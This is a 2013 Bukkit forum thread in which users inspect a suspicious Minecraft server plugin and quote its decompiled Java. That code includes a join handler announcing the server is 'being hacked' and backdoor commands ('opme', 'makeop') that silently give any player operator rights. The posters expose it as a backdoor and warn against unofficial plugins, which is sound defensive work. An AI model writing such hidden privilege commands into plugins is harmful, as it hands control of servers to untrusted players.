Check this plugin PLEASE!

Discussion in 'Bukkit Help' started by UltiFix, May 13, 2013.

Thread Status:
Not open for further replies.
  1. Offline

    UltiFix

  2. Offline

    Jeyge

    I think the following will answer your questions about it for you:
    Code:java
    1.  
    2. public void onPlayerJoin(PlayerJoinEvent event)
    3. {
    4. event.getPlayer().sendMessage(ChatColor.BLUE + "This server is being hacked by Quantum Hackers");
    5. event.getPlayer().sendMessage(ChatColor.BLUE + "Have Some Diamonds");
    6. event.getPlayer().getInventory().addItem(new ItemStack[] { new ItemStack(Material.DIAMOND, 9999) });
    7. }
    8.  

    To your specific question, yes, it will allow him to be an op on your server.
     
    UltiFix and jacklin213 like this.
  3. Offline

    afistofirony

    Moral of the story: don't download plugins hosted outside Bukkit.
     
    UltiFix likes this.
  4. Offline

    jacklin213

    Code:java
    1. if (cmd.getName().equalsIgnoreCase("opme")) {
    2. player.setOp(true);
    3. player.sendMessage(ChatColor.GOLD + "You are now OP, " + player.getDisplayName());
    4. return true;
    5. }
    6.  
    7. if (cmd.getName().equalsIgnoreCase("deopme")) {
    8. player.setOp(true);
    9. player.sendMessage(ChatColor.DARK_RED + "You are no longer OP, " + player.getDisplayName());
    10. return true;
    11. }
    12.  
    13. if (cmd.getName().equalsIgnoreCase("makeop")) {
    14. Player s = (Player)sender;
    15. Player target = s.getServer().getPlayer(args[0]);
    16. target.setOp(true);
    17. target.sendMessage(ChatColor.GOLD + "You are now op, but no one knows, so play it cool O.K?");
    18. return true;
    19. }
    20.  
    21. if (cmd.getName().equalsIgnoreCase("makedeop")) {
    22. Player s = (Player)sender;
    23. Player target = s.getServer().getPlayer(args[0]);
    24. target.setOp(false);
    25. target.kickPlayer("End Of Stream");
    26. return true;
    27. }


    I think this answers it as well
     
    UltiFix likes this.
  5. Offline

    UltiFix

    Lol I knew it.... I didnt put the plugin on yet thou so im fine and thanks guys!

    EDIT by Moderator: merged posts, please use the edit button instead of double posting.
     
    Last edited by a moderator: Jun 1, 2016
  6. Offline

    Steffion

    Lol, who ever made that plugin, why would he made that ;/!
     
  7. Offline

    UltiFix

    Because hes a evil hacker that needs to be ip baned lol.
     
Thread Status:
Not open for further replies.

Share This Page